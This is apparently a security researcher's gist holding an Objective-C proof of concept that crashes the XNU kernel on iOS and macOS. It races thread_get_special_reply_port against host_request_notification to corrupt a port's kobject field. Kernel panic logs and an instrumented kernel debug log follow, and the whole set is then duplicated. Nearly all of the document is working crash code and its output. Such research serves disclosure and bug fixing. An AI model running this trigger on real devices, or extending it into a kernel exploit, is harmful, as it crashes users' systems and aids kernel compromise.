zhuowei/crashtest.m Secret

## crashtest.m
@import Darwin;
@import Foundation;

// Note: do this from a separate thread
// getting a fresh reply port break all existing XPC connections on that thread
extern mach_port_name_t thread_get_special_reply_port(void);

static void LogProgress(uint8_t step) {
	mach_msg(nil, 0x69000000 | (step << 16), 0, 0, 0, 0, 0);
}

// Code copied from XNU's tests/kevent_qos.c

#define T_QUIET

static void T_ASSERT_MACH_SUCCESS(kern_return_t err, const char* errmsg) {
    if (err) {
        fprintf(stderr, "%s\n", errmsg);
        abort();
    }
}

#define T_LOG(a)
#define SEND_TIMEOUT_SECS 1

struct test_msg {
    mach_msg_header_t header;
    mach_msg_body_t body;
    mach_msg_port_descriptor_t port_descriptor;
    mach_msg_option_t opts;
    //mach_msg_priority_t qos;
};

static void
Send(
    mach_port_t send_port,
    mach_port_t reply_port,
    mach_port_t msg_port,
    mach_msg_priority_t qos,
    mach_msg_option_t options)
{
    kern_return_t ret = 0;

    struct test_msg send_msg = {
        .header = {
            .msgh_remote_port = send_port,
            .msgh_local_port  = reply_port,
            .msgh_bits        = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND,
        reply_port ? MACH_MSG_TYPE_MAKE_SEND_ONCE : 0,
        MACH_MSG_TYPE_MOVE_SEND,
        MACH_MSGH_BITS_COMPLEX),
            .msgh_id          = 0x100,
            .msgh_size        = sizeof(send_msg),
        },
        .body = {
            .msgh_descriptor_count = 1,
        },
        .port_descriptor = {
            .name        = msg_port,
            .disposition = MACH_MSG_TYPE_MOVE_RECEIVE,
            .type        = MACH_MSG_PORT_DESCRIPTOR,
        },
        .opts = options,
    };

    if (msg_port == MACH_PORT_NULL) {
        send_msg.body.msgh_descriptor_count = 0;
    }

#if 0
    if ((options & MACH_SEND_PROPAGATE_QOS) == 0) {
        send_msg.header.msgh_voucher_port = create_pthpriority_voucher(qos);
        send_msg.qos = qos;
    } else {
        qos_class_t qc;
        int relpri;
        pthread_get_qos_class_np(pthread_self(), &qc, &relpri);
        send_msg.qos = (uint32_t)_pthread_qos_class_encode(qc, relpri, 0);
    }
#endif

    mach_msg_option_t send_opts = options;
    if (reply_port) {
        send_opts |= MACH_SEND_SYNC_OVERRIDE;
    }
    send_opts |= MACH_SEND_MSG | MACH_SEND_TIMEOUT | MACH_SEND_OVERRIDE;

    ret = mach_msg(&send_msg.header, send_opts, send_msg.header.msgh_size,
        0, MACH_PORT_NULL, 10000, qos);

    T_QUIET; T_ASSERT_MACH_SUCCESS(ret, "client mach_msg");
}

static kern_return_t
Receive(
    mach_port_t rcv_port,
    mach_port_t notify_port)
{
    kern_return_t ret = 0;

    struct test_msg rcv_msg = {
        .header = {
            .msgh_remote_port = MACH_PORT_NULL,
            .msgh_local_port  = rcv_port,
            .msgh_size        = sizeof(rcv_msg),
        },
    };

    T_LOG("Client: Starting sync receive\n");

    ret = mach_msg(&(rcv_msg.header),
        MACH_RCV_MSG |
        MACH_RCV_TIMEOUT |
        MACH_RCV_SYNC_WAIT,
        0,
        rcv_msg.header.msgh_size,
        rcv_port,
        SEND_TIMEOUT_SECS * 1000,
        notify_port);

    return ret;
}

static void CheckSuccess(kern_return_t err) {
    if (err) {
        NSLog(@"%s %d", mach_error_string(err), err);
        abort();
    }
}

struct SecondThreadArgs {
    mach_port_t special_reply_port;
};

static void* RunSecondThread(void* args) {
    struct SecondThreadArgs* a = args;
    mach_port_t special_reply_port = a->special_reply_port;
    usleep(300000); // 0.3 seconds
    CheckSuccess(host_request_notification(mach_host_self(), HOST_NOTIFY_CALENDAR_CHANGE, special_reply_port));
    return nil;
}

static void CrashTest()
{
    mach_port_t qos_send_port;
    mach_port_t special_reply_port;
    CheckSuccess(mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &qos_send_port));
    CheckSuccess(mach_port_insert_right(mach_task_self(), qos_send_port, qos_send_port, MACH_MSG_TYPE_MAKE_SEND));

    LogProgress(10);
    special_reply_port = thread_get_special_reply_port();

    LogProgress(20);
    /* enqueue two messages to make sure that mqueue is not empty */
    Send(qos_send_port, MACH_PORT_NULL, MACH_PORT_NULL,
        0, 0);

    LogProgress(30);
    Send(qos_send_port, MACH_PORT_NULL, MACH_PORT_NULL,
        0, 0);

    pthread_t thread;
    struct SecondThreadArgs second_thread_args = {
        .special_reply_port = special_reply_port,
    };
    CheckSuccess(pthread_create(&thread, nil, &RunSecondThread, &second_thread_args));

    LogProgress(40);
    /* sync wait on msg port */
    Receive(special_reply_port, qos_send_port);
    // calls ipc_port_link_special_reply_port, setting special_reply_port->ip_kobject to qos_send_port
    // once it does that, we use host_request_notification to overwrite
    // special_reply_port->ip_kobject
    // ... when ipc_port_adjust_special_reply_port_locked tries to removes the linked port when it returns, it panics
    CheckSuccess(pthread_join(thread, nil));

    LogProgress(50);
}

int main() {
    CrashTest();
}

## crashtest_panic_ios.txt
panic(cpu 1 caller 0xfffffff02667d3f0): Kernel data abort. at pc 0xfffffff025f59d2c, lr 0xddf82e7025f5d4d0 (saved state: 0xffffffe8157d3a40)
	  x0: 0x4b9159e19e2c5890  x1:  0x4b9159e19e2c5890  x2:  0x0000000000000000  x3:  0x000000000000001f
	  x4: 0xffffffe1a08a5188  x5:  0x000000000000000b  x6:  0xfeedfacefeedfacf  x7:  0xfffffff132f64650
	  x8: 0x0000000000000002  x9:  0x00000000ffffffff  x10: 0x0000000000000000  x11: 0x0000000010004003
	  x12: 0x000000000000000c x13: 0x0000000000000000  x14: 0xff0000000000079b  x15: 0x00000000000009d8
	  x16: 0xffffffe1a12b8780 x17: 0xffffffe1a12b8780  x18: 0x0000000000000000  x19: 0x4b9159e19e2c5890
	  x20: 0x0000000000000001 x21: 0x4b9159e19e2c5890  x22: 0xffffffe1a43c84b4  x23: 0x0000000000000000
	  x24: 0x0000000000000000 x25: 0xffffffe1a12b8780  x26: 0xffffffe1a08a5188  x27: 0x0000000010004003
	  x28: 0x0000000000000001 fp:  0xffffffe8157d3d90  lr:  0xddf82e7025f5d4d0  sp:  0xffffffe8157d3d90
	  pc:  0xfffffff025f59d2c cpsr: 0x20401208         esr: 0x96000004          far: 0x4b9159e19e2c5890

Debugger message: panic
Memory ID: 0xff
OS release type: User
OS version: 18A8395
Kernel version: Darwin Kernel Version 20.0.0: Wed Sep 30 03:24:26 PDT 2020; root:xnu-7195.0.46~41\/RELEASE_ARM64_T8101
Kernel UUID: B5D61096-0C18-372C-95F7-D96C8BB14015
iBoot version: iBoot-6723.11.41
secure boot?: YES
Paniclog version: 13
Kernel slide:      0x000000001e40c000
Kernel text base:  0xfffffff025410000
mach_absolute_time: 0x1b20260e1
Epoch Time:        sec       usec
  Boot    : 0x5fe7a295 0x0006780e
  Sleep   : 0x00000000 0x00000000
  Wake    : 0x00000000 0x00000000
  Calendar: 0x5fe7a3bd 0x00051dd0

CORE 0 recently retired instr at 0xfffffff0260b0614
CORE 1 recently retired instr at 0xfffffff0260af17c
CORE 2 recently retired instr at 0xfffffff0260b0614
CORE 3 recently retired instr at 0xfffffff0260b0614
CORE 4 recently retired instr at 0xfffffff0260b0618
CORE 5 recently retired instr at 0xfffffff0260b0618
Panicked task 0xffffffe1a47c8000: 3579 pages, 8 threads: pid 320: CrashTestDummy
Panicked thread: 0xffffffe1a08a5188, backtrace: 0xffffffe8157d31e0, tid: 6922
		  lr: 0xfffffff025f7aee4  fp: 0xffffffe8157d3220
		  lr: 0xfffffff025f7ace4  fp: 0xffffffe8157d3290
		  lr: 0xfffffff0260b5b08  fp: 0xffffffe8157d32b0
		  lr: 0xfffffff0260a76cc  fp: 0xffffffe8157d3370
		  lr: 0xfffffff0266726b8  fp: 0xffffffe8157d3380
		  lr: 0xfffffff025f7a9cc  fp: 0xffffffe8157d3700
		  lr: 0xfffffff025f7a9cc  fp: 0xffffffe8157d3760
		  lr: 0xfffffff027df8a1c  fp: 0xffffffe8157d3780
		  lr: 0xfffffff02667d3f0  fp: 0xffffffe8157d38f0
		  lr: 0xfffffff0260a8698  fp: 0xffffffe8157d3960
		  lr: 0xfffffff0260a77ac  fp: 0xffffffe8157d3a20
		  lr: 0xfffffff0266726b8  fp: 0xffffffe8157d3a30
		  lr: 0xfffffff025f5d4d0  fp: 0xffffffe8157d3d90
		  lr: 0xfffffff025f5d4d0  fp: 0xffffffe8157d3dd0
		  lr: 0xfffffff025f5d2d8  fp: 0xffffffe8157d3e30
		  lr: 0xfffffff025f6d040  fp: 0xffffffe8157d3ec0
		  lr: 0xfffffff025f6d6ec  fp: 0xffffffe8157d3f00
		  lr: 0xfffffff026678e14  fp: 0x0000000000000000

## crashtest_panic_macos.txt
panic(cpu 0 caller 0xffffff800630fc8a): "Address not in expected zone for zone_require check (addr: 0xffffff801f206390, zone: ipc ports)"@/Users/zhuowei/Documents/winprogress/macos11/crashtest/xnubuild/build-xnu/xnu-6153.141.1/osfmk/kern/zalloc.c:662
Backtrace (CPU 0), Frame : Return Address
0xffffff95997758a0 : 0xffffff8006273cee
0xffffff9599775900 : 0xffffff800627349f
0xffffff9599775940 : 0xffffff80064df248
0xffffff9599775990 : 0xffffff80064c7fbe
0xffffff9599775ad0 : 0xffffff80064e7540
0xffffff9599775af0 : 0xffffff8006272d78
0xffffff9599775c40 : 0xffffff8006273916
0xffffff9599775cc0 : 0xffffff8006e7266f
0xffffff9599775d30 : 0xffffff800630fc8a
0xffffff9599775d60 : 0xffffff800623d73d
0xffffff9599775d80 : 0xffffff80062393e3
0xffffff9599775db0 : 0xffffff800624224e
0xffffff9599775df0 : 0xffffff8006242acb
0xffffff9599775e50 : 0xffffff800625b403
0xffffff9599775ea0 : 0xffffff800625ae7b
0xffffff9599775f60 : 0xffffff800625b819
0xffffff9599775f80 : 0xffffff800623abfc
0xffffff9599775fa0 : 0xffffff80064bb72e

BSD process name corresponding to current thread: crashtest
Boot args: kcsuffix=debug

Mac OS version:
19H15

Kernel version:
Darwin Kernel Version 19.6.0: Fri 25 Dec 2020 20:26:21 PST; zhuowei:xnu-6153.141.1[xnu-4570.1.46-20-gc9688565-dirty]/BUILD/obj/DEBUG_X86_64
Kernel UUID: 66BE7EB4-0014-3CD0-B0F8-F7052A14701C
Kernel slide:     0x0000000006000000
Kernel text base: 0xffffff8006200000
__HIB  text base: 0xffffff8006100000
System model name: VMware7,1 (Mac-E43C1C25D4880AD6)
System shutdown begun: NO
Panic diags file available: YES (0x0)

System uptime in nanoseconds: 3607247740506
last loaded kext at 128422114510: @fileutil	20.036.15 (addr 0xffffff7f89521000, size 114688)
last unloaded kext at 290237619095: >!AFIVRDriver	4.1.0 (addr 0xffffff7f89103000, size 12288)
loaded kexts:
@fileutil	20.036.15
@filesystems.autofs	3.0
>AudioAUUC	1.70
@AGDCPluginDisplayMetrics	5.2.6
>!AHV	1
|IOUserEthernet	1.0.1
|IO!BSerialManager	7.0.6f7
@Dont_Steal_Mac_OS_X	7.0.0
>!AUpstreamUserClient	3.6.8
>!AHDA	283.15
>!AMCCSControl	1.14
>ACPI_SMC_PlatformPlugin	1.0.0
>!A!ISlowAdaptiveClocking	4.0.0
|SCSITaskUserClient	422.120.3
@filesystems.apfs	1412.141.1
>!AVirtIO	1.0
@filesystems.hfs.kext	522.100.5
>!AAHCIPort	341.140.1
@!AFSCompression.!AFSCompressionTypeDataless	1.0.0d1
@BootCache	40
@!AFSCompression.!AFSCompressionTypeZlib	1.0.0
>!I82574LEthernet	2.7.2
@private.KextAudit	1.0
>!AACPIButtons	6.1
>!AHPET	1.8
>!ARTC	2.0
>!ASMBIOS	2.1
>!AAPIC	1.7
$!AImage4	1
@nke.applicationfirewall	303
$TMSafetyNet	8
@!ASystemPolicy	2.0.0
|EndpointSecurity	1
@kext.triggers	1.0
>DspFuncLib	283.15
@kext.OSvKernDSPLib	529
@!AGPUWrangler	5.2.6
@!AGraphicsDeviceControl	5.2.6
>!ASMBus!C	1.0.18d1
|IOSMBus!F	1.1
|IO!BHost!CUSBTransport	7.0.6f7
|IO!BHost!CTransport	7.0.6f7
|IO!B!F	7.0.6f7
|IO!BPacketLogger	7.0.6f7
>!AHDA!C	283.15
|IOHDA!F	283.15
>IOPlatformPluginLegacy	1.0.0
>IOPlatformPlugin!F	6.0.0d8
|IOSlowAdaptiveClocking!F	1.0.0
|IONDRVSupport	576.1
|IOGraphics!F	576.1
>usb.!UHub	1.2
>usb.networking	5.0.0
>usb.!UHostCompositeDevice	1.2
|IOSCSIMultimediaCommandsDevice	422.120.3
|IOBD!S!F	1.8
|IODVD!S!F	1.8
|IOCD!S!F	1.8
|IOAHCISerialATAPI	268
|IOAHCIBlock!S	316.100.5
|IOAudio!F	300.2
@vecLib.kext	1.2.0
|IOSerial!F	11
|IOSurface	269.11
|IOAHCI!F	290.0.1
>usb.!UEHCIPCI	1.2
>usb.!UUHCIPCI	1.2
>usb.!UUHCI	1.2
>usb.!UEHCI	1.2
>usb.!UXHCIPCI	1.2
>usb.!UXHCI	1.2
@filesystems.hfs.encodings.kext	1
>usb.!UHostPacketFilter	1.0
|IOUSB!F	900.4.2
>!AEFINVRAM	2.1
>!AEFIRuntime	2.1
|IOHID!F	2.0.0
$quarantine	4
$sandbox	300.0
@kext.!AMatch	1.0.0d1
>DiskImages	493.0.0
>!AFDEKeyStore	28.30
>!AEffaceable!S	1.0
>!ASSE	1.0
>!AKeyStore	2
>!UTDM	489.120.1
|IOSCSIBlockCommandsDevice	422.120.3
>!ACredentialManager	1.0
>KernelRelayHost	1
>!ASEPManager	1.0.1
>IOSlaveProcessor	1
|IOUSBMass!SDriver	157.140.1
|IOSCSIArchitectureModel!F	422.120.3
|IO!S!F	2.1
|IOUSBHost!F	1.2
>!UHostMergeProperties	1.2
>usb.!UCommon	1.0
>!ABusPower!C	1.0
|CoreAnalytics!F	1
>!AMobileFileIntegrity	1.0.5
@kext.CoreTrust	1
|IOTimeSync!F	840.3
|IONetworking!F	3.4
|IOReport!F	47
>!AACPIPlatform	6.1
>!ASMC	3.1.9
>watchdog	1
|IOPCI!F	2.9
|IOACPI!F	1.4
@kec.pthread	1
@kec.corecrypto	1.0
@kec.Libm	1


## kernellog.txt
entered 10
In ipc_port_adjust_special_reply_port_locked:port=0xffffff80291ae850 obj=0 state=0
kn=0 flags=4 get_turnstile=no
entered 20
Sending a message
start of ipc_kmsg_copyin_header
after ipc right copy in: dest=0xffffff8023e48618 reply=0
ipc_kmsg_set_qos kmsg=0xffffff8029436200 options=31 override=0 reply=0x0 dest=0xffffff8023e48618 ip_valid=no msgh_bits=80110011
ipc_kmsg_copyin header:
00000034
80110011
0xffffff8023e48618
0x0
0x0
00000100
entered 30
Sending a message
start of ipc_kmsg_copyin_header
after ipc right copy in: dest=0xffffff8023e48618 reply=0
ipc_kmsg_set_qos kmsg=0xffffff8029436e00 options=31 override=0 reply=0x0 dest=0xffffff8023e48618 ip_valid=no msgh_bits=80110011
ipc_kmsg_copyin header:
00000034
80110011
0xffffff8023e48618
0x0
0x0
00000100
entered 40
Receiving message! object=0xffffff80237e8d48
mach_msg_rcv_link_special_reply_port port=0xffffff80237e8d48 dest=f0b
mach_msg_rcv_link_special_reply_port got dest port=0xffffff8023e48618
ipc_port_link_special_reply_port: port=0xffffff80237e8d48 dest=0xffffff8023e48618 sync=no state=0 ip_sync_inheritor_port=0
Take a reference: 0xffffff80237e8d48 -> 0xffffff8023e48618
ipc_port_recv_update_inheritor special port=0xffffff80237e8d48 state=1
Sending a message
start of ipc_kmsg_copyin_header
after ipc right copy in: dest=0xffffff801d871e60 reply=0xffffff80217d08d8
ipc_kmsg_set_qos kmsg=0xffffff8029436500 options=3 override=0 reply=0xffffff80217d08d8 dest=0xffffff801d871e60 ip_valid=yes msgh_bits=80001211
ipc_kmsg_copyin header:
0000003c
80001211
0xffffff801d871e60
0xffffff80217d08d8
0x0
000000d9
host_request_notification port 0xffffff80237e8d48 old 0xffffff8023e48618 entry 0xffffff801f206390
Receiving message! object=0xffffff80217d08d8
	@import Darwin;
	@import Foundation;

	// Note: do this from a separate thread
	// getting a fresh reply port break all existing XPC connections on that thread
	extern mach_port_name_t thread_get_special_reply_port(void);

	static void LogProgress(uint8_t step) {
	mach_msg(nil, 0x69000000 \| (step << 16), 0, 0, 0, 0, 0);
	}

	// Code copied from XNU's tests/kevent_qos.c

	#define T_QUIET

	static void T_ASSERT_MACH_SUCCESS(kern_return_t err, const char* errmsg) {
	if (err) {
	fprintf(stderr, "%s\n", errmsg);
	abort();
	}
	}

	#define T_LOG(a)
	#define SEND_TIMEOUT_SECS 1

	struct test_msg {
	mach_msg_header_t header;
	mach_msg_body_t body;
	mach_msg_port_descriptor_t port_descriptor;
	mach_msg_option_t opts;
	//mach_msg_priority_t qos;
	};

	static void
	Send(
	mach_port_t send_port,
	mach_port_t reply_port,
	mach_port_t msg_port,
	mach_msg_priority_t qos,
	mach_msg_option_t options)
	{
	kern_return_t ret = 0;

	struct test_msg send_msg = {
	.header = {
	.msgh_remote_port = send_port,
	.msgh_local_port = reply_port,
	.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND,
	reply_port ? MACH_MSG_TYPE_MAKE_SEND_ONCE : 0,
	MACH_MSG_TYPE_MOVE_SEND,
	MACH_MSGH_BITS_COMPLEX),
	.msgh_id = 0x100,
	.msgh_size = sizeof(send_msg),
	},
	.body = {
	.msgh_descriptor_count = 1,
	},
	.port_descriptor = {
	.name = msg_port,
	.disposition = MACH_MSG_TYPE_MOVE_RECEIVE,
	.type = MACH_MSG_PORT_DESCRIPTOR,
	},
	.opts = options,
	};

	if (msg_port == MACH_PORT_NULL) {
	send_msg.body.msgh_descriptor_count = 0;
	}

	#if 0
	if ((options & MACH_SEND_PROPAGATE_QOS) == 0) {
	send_msg.header.msgh_voucher_port = create_pthpriority_voucher(qos);
	send_msg.qos = qos;
	} else {
	qos_class_t qc;
	int relpri;
	pthread_get_qos_class_np(pthread_self(), &qc, &relpri);
	send_msg.qos = (uint32_t)_pthread_qos_class_encode(qc, relpri, 0);
	}
	#endif

	mach_msg_option_t send_opts = options;
	if (reply_port) {
	send_opts \|= MACH_SEND_SYNC_OVERRIDE;
	}
	send_opts \|= MACH_SEND_MSG \| MACH_SEND_TIMEOUT \| MACH_SEND_OVERRIDE;

	ret = mach_msg(&send_msg.header, send_opts, send_msg.header.msgh_size,
	0, MACH_PORT_NULL, 10000, qos);

	T_QUIET; T_ASSERT_MACH_SUCCESS(ret, "client mach_msg");
	}

	static kern_return_t
	Receive(
	mach_port_t rcv_port,
	mach_port_t notify_port)
	{
	kern_return_t ret = 0;

	struct test_msg rcv_msg = {
	.header = {
	.msgh_remote_port = MACH_PORT_NULL,
	.msgh_local_port = rcv_port,
	.msgh_size = sizeof(rcv_msg),
	},
	};

	T_LOG("Client: Starting sync receive\n");

	ret = mach_msg(&(rcv_msg.header),
	MACH_RCV_MSG \|
	MACH_RCV_TIMEOUT \|
	MACH_RCV_SYNC_WAIT,
	0,
	rcv_msg.header.msgh_size,
	rcv_port,
	SEND_TIMEOUT_SECS * 1000,
	notify_port);

	return ret;
	}

	static void CheckSuccess(kern_return_t err) {
	if (err) {
	NSLog(@"%s %d", mach_error_string(err), err);
	abort();
	}
	}

	struct SecondThreadArgs {
	mach_port_t special_reply_port;
	};

	static void* RunSecondThread(void* args) {
	struct SecondThreadArgs* a = args;
	mach_port_t special_reply_port = a->special_reply_port;
	usleep(300000); // 0.3 seconds
	CheckSuccess(host_request_notification(mach_host_self(), HOST_NOTIFY_CALENDAR_CHANGE, special_reply_port));
	return nil;
	}

	static void CrashTest()
	{
	mach_port_t qos_send_port;
	mach_port_t special_reply_port;
	CheckSuccess(mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &qos_send_port));
	CheckSuccess(mach_port_insert_right(mach_task_self(), qos_send_port, qos_send_port, MACH_MSG_TYPE_MAKE_SEND));

	LogProgress(10);
	special_reply_port = thread_get_special_reply_port();

	LogProgress(20);
	/* enqueue two messages to make sure that mqueue is not empty */
	Send(qos_send_port, MACH_PORT_NULL, MACH_PORT_NULL,
	0, 0);

	LogProgress(30);
	Send(qos_send_port, MACH_PORT_NULL, MACH_PORT_NULL,
	0, 0);

	pthread_t thread;
	struct SecondThreadArgs second_thread_args = {
	.special_reply_port = special_reply_port,
	};
	CheckSuccess(pthread_create(&thread, nil, &RunSecondThread, &second_thread_args));

	LogProgress(40);
	/* sync wait on msg port */
	Receive(special_reply_port, qos_send_port);
	// calls ipc_port_link_special_reply_port, setting special_reply_port->ip_kobject to qos_send_port
	// once it does that, we use host_request_notification to overwrite
	// special_reply_port->ip_kobject
	// ... when ipc_port_adjust_special_reply_port_locked tries to removes the linked port when it returns, it panics
	CheckSuccess(pthread_join(thread, nil));

	LogProgress(50);
	}

	int main() {
	CrashTest();
	}
	panic(cpu 1 caller 0xfffffff02667d3f0): Kernel data abort. at pc 0xfffffff025f59d2c, lr 0xddf82e7025f5d4d0 (saved state: 0xffffffe8157d3a40)
	x0: 0x4b9159e19e2c5890 x1: 0x4b9159e19e2c5890 x2: 0x0000000000000000 x3: 0x000000000000001f
	x4: 0xffffffe1a08a5188 x5: 0x000000000000000b x6: 0xfeedfacefeedfacf x7: 0xfffffff132f64650
	x8: 0x0000000000000002 x9: 0x00000000ffffffff x10: 0x0000000000000000 x11: 0x0000000010004003
	x12: 0x000000000000000c x13: 0x0000000000000000 x14: 0xff0000000000079b x15: 0x00000000000009d8
	x16: 0xffffffe1a12b8780 x17: 0xffffffe1a12b8780 x18: 0x0000000000000000 x19: 0x4b9159e19e2c5890
	x20: 0x0000000000000001 x21: 0x4b9159e19e2c5890 x22: 0xffffffe1a43c84b4 x23: 0x0000000000000000
	x24: 0x0000000000000000 x25: 0xffffffe1a12b8780 x26: 0xffffffe1a08a5188 x27: 0x0000000010004003
	x28: 0x0000000000000001 fp: 0xffffffe8157d3d90 lr: 0xddf82e7025f5d4d0 sp: 0xffffffe8157d3d90
	pc: 0xfffffff025f59d2c cpsr: 0x20401208 esr: 0x96000004 far: 0x4b9159e19e2c5890

	Debugger message: panic
	Memory ID: 0xff
	OS release type: User
	OS version: 18A8395
	Kernel version: Darwin Kernel Version 20.0.0: Wed Sep 30 03:24:26 PDT 2020; root:xnu-7195.0.46~41\/RELEASE_ARM64_T8101
	Kernel UUID: B5D61096-0C18-372C-95F7-D96C8BB14015
	iBoot version: iBoot-6723.11.41
	secure boot?: YES
	Paniclog version: 13
	Kernel slide: 0x000000001e40c000
	Kernel text base: 0xfffffff025410000
	mach_absolute_time: 0x1b20260e1
	Epoch Time: sec usec
	Boot : 0x5fe7a295 0x0006780e
	Sleep : 0x00000000 0x00000000
	Wake : 0x00000000 0x00000000
	Calendar: 0x5fe7a3bd 0x00051dd0

	CORE 0 recently retired instr at 0xfffffff0260b0614
	CORE 1 recently retired instr at 0xfffffff0260af17c
	CORE 2 recently retired instr at 0xfffffff0260b0614
	CORE 3 recently retired instr at 0xfffffff0260b0614
	CORE 4 recently retired instr at 0xfffffff0260b0618
	CORE 5 recently retired instr at 0xfffffff0260b0618
	Panicked task 0xffffffe1a47c8000: 3579 pages, 8 threads: pid 320: CrashTestDummy
	Panicked thread: 0xffffffe1a08a5188, backtrace: 0xffffffe8157d31e0, tid: 6922
	lr: 0xfffffff025f7aee4 fp: 0xffffffe8157d3220
	lr: 0xfffffff025f7ace4 fp: 0xffffffe8157d3290
	lr: 0xfffffff0260b5b08 fp: 0xffffffe8157d32b0
	lr: 0xfffffff0260a76cc fp: 0xffffffe8157d3370
	lr: 0xfffffff0266726b8 fp: 0xffffffe8157d3380
	lr: 0xfffffff025f7a9cc fp: 0xffffffe8157d3700
	lr: 0xfffffff025f7a9cc fp: 0xffffffe8157d3760
	lr: 0xfffffff027df8a1c fp: 0xffffffe8157d3780
	lr: 0xfffffff02667d3f0 fp: 0xffffffe8157d38f0
	lr: 0xfffffff0260a8698 fp: 0xffffffe8157d3960
	lr: 0xfffffff0260a77ac fp: 0xffffffe8157d3a20
	lr: 0xfffffff0266726b8 fp: 0xffffffe8157d3a30
	lr: 0xfffffff025f5d4d0 fp: 0xffffffe8157d3d90
	lr: 0xfffffff025f5d4d0 fp: 0xffffffe8157d3dd0
	lr: 0xfffffff025f5d2d8 fp: 0xffffffe8157d3e30
	lr: 0xfffffff025f6d040 fp: 0xffffffe8157d3ec0
	lr: 0xfffffff025f6d6ec fp: 0xffffffe8157d3f00
	lr: 0xfffffff026678e14 fp: 0x0000000000000000
	panic(cpu 0 caller 0xffffff800630fc8a): "Address not in expected zone for zone_require check (addr: 0xffffff801f206390, zone: ipc ports)"@/Users/zhuowei/Documents/winprogress/macos11/crashtest/xnubuild/build-xnu/xnu-6153.141.1/osfmk/kern/zalloc.c:662
	Backtrace (CPU 0), Frame : Return Address
	0xffffff95997758a0 : 0xffffff8006273cee
	0xffffff9599775900 : 0xffffff800627349f
	0xffffff9599775940 : 0xffffff80064df248
	0xffffff9599775990 : 0xffffff80064c7fbe
	0xffffff9599775ad0 : 0xffffff80064e7540
	0xffffff9599775af0 : 0xffffff8006272d78
	0xffffff9599775c40 : 0xffffff8006273916
	0xffffff9599775cc0 : 0xffffff8006e7266f
	0xffffff9599775d30 : 0xffffff800630fc8a
	0xffffff9599775d60 : 0xffffff800623d73d
	0xffffff9599775d80 : 0xffffff80062393e3
	0xffffff9599775db0 : 0xffffff800624224e
	0xffffff9599775df0 : 0xffffff8006242acb
	0xffffff9599775e50 : 0xffffff800625b403
	0xffffff9599775ea0 : 0xffffff800625ae7b
	0xffffff9599775f60 : 0xffffff800625b819
	0xffffff9599775f80 : 0xffffff800623abfc
	0xffffff9599775fa0 : 0xffffff80064bb72e

	BSD process name corresponding to current thread: crashtest
	Boot args: kcsuffix=debug

	Mac OS version:
	19H15

	Kernel version:
	Darwin Kernel Version 19.6.0: Fri 25 Dec 2020 20:26:21 PST; zhuowei:xnu-6153.141.1[xnu-4570.1.46-20-gc9688565-dirty]/BUILD/obj/DEBUG_X86_64
	Kernel UUID: 66BE7EB4-0014-3CD0-B0F8-F7052A14701C
	Kernel slide: 0x0000000006000000
	Kernel text base: 0xffffff8006200000
	__HIB text base: 0xffffff8006100000
	System model name: VMware7,1 (Mac-E43C1C25D4880AD6)
	System shutdown begun: NO
	Panic diags file available: YES (0x0)

	System uptime in nanoseconds: 3607247740506
	last loaded kext at 128422114510: @fileutil 20.036.15 (addr 0xffffff7f89521000, size 114688)
	last unloaded kext at 290237619095: >!AFIVRDriver 4.1.0 (addr 0xffffff7f89103000, size 12288)
	loaded kexts:
	@fileutil 20.036.15
	@filesystems.autofs 3.0
	>AudioAUUC 1.70
	@AGDCPluginDisplayMetrics 5.2.6
	>!AHV 1
	\|IOUserEthernet 1.0.1
	\|IO!BSerialManager 7.0.6f7
	@Dont_Steal_Mac_OS_X 7.0.0
	>!AUpstreamUserClient 3.6.8
	>!AHDA 283.15
	>!AMCCSControl 1.14
	>ACPI_SMC_PlatformPlugin 1.0.0
	>!A!ISlowAdaptiveClocking 4.0.0
	\|SCSITaskUserClient 422.120.3
	@filesystems.apfs 1412.141.1
	>!AVirtIO 1.0
	@filesystems.hfs.kext 522.100.5
	>!AAHCIPort 341.140.1
	@!AFSCompression.!AFSCompressionTypeDataless 1.0.0d1
	@BootCache 40
	@!AFSCompression.!AFSCompressionTypeZlib 1.0.0
	>!I82574LEthernet 2.7.2
	@private.KextAudit 1.0
	>!AACPIButtons 6.1
	>!AHPET 1.8
	>!ARTC 2.0
	>!ASMBIOS 2.1
	>!AAPIC 1.7
	$!AImage4 1
	@nke.applicationfirewall 303
	$TMSafetyNet 8
	@!ASystemPolicy 2.0.0
	\|EndpointSecurity 1
	@kext.triggers 1.0
	>DspFuncLib 283.15
	@kext.OSvKernDSPLib 529
	@!AGPUWrangler 5.2.6
	@!AGraphicsDeviceControl 5.2.6
	>!ASMBus!C 1.0.18d1
	\|IOSMBus!F 1.1
	\|IO!BHost!CUSBTransport 7.0.6f7
	\|IO!BHost!CTransport 7.0.6f7
	\|IO!B!F 7.0.6f7
	\|IO!BPacketLogger 7.0.6f7
	>!AHDA!C 283.15
	\|IOHDA!F 283.15
	>IOPlatformPluginLegacy 1.0.0
	>IOPlatformPlugin!F 6.0.0d8
	\|IOSlowAdaptiveClocking!F 1.0.0
	\|IONDRVSupport 576.1
	\|IOGraphics!F 576.1
	>usb.!UHub 1.2
	>usb.networking 5.0.0
	>usb.!UHostCompositeDevice 1.2
	\|IOSCSIMultimediaCommandsDevice 422.120.3
	\|IOBD!S!F 1.8
	\|IODVD!S!F 1.8
	\|IOCD!S!F 1.8
	\|IOAHCISerialATAPI 268
	\|IOAHCIBlock!S 316.100.5
	\|IOAudio!F 300.2
	@vecLib.kext 1.2.0
	\|IOSerial!F 11
	\|IOSurface 269.11
	\|IOAHCI!F 290.0.1
	>usb.!UEHCIPCI 1.2
	>usb.!UUHCIPCI 1.2
	>usb.!UUHCI 1.2
	>usb.!UEHCI 1.2
	>usb.!UXHCIPCI 1.2
	>usb.!UXHCI 1.2
	@filesystems.hfs.encodings.kext 1
	>usb.!UHostPacketFilter 1.0
	\|IOUSB!F 900.4.2
	>!AEFINVRAM 2.1
	>!AEFIRuntime 2.1
	\|IOHID!F 2.0.0
	$quarantine 4
	$sandbox 300.0
	@kext.!AMatch 1.0.0d1
	>DiskImages 493.0.0
	>!AFDEKeyStore 28.30
	>!AEffaceable!S 1.0
	>!ASSE 1.0
	>!AKeyStore 2
	>!UTDM 489.120.1
	\|IOSCSIBlockCommandsDevice 422.120.3
	>!ACredentialManager 1.0
	>KernelRelayHost 1
	>!ASEPManager 1.0.1
	>IOSlaveProcessor 1
	\|IOUSBMass!SDriver 157.140.1
	\|IOSCSIArchitectureModel!F 422.120.3
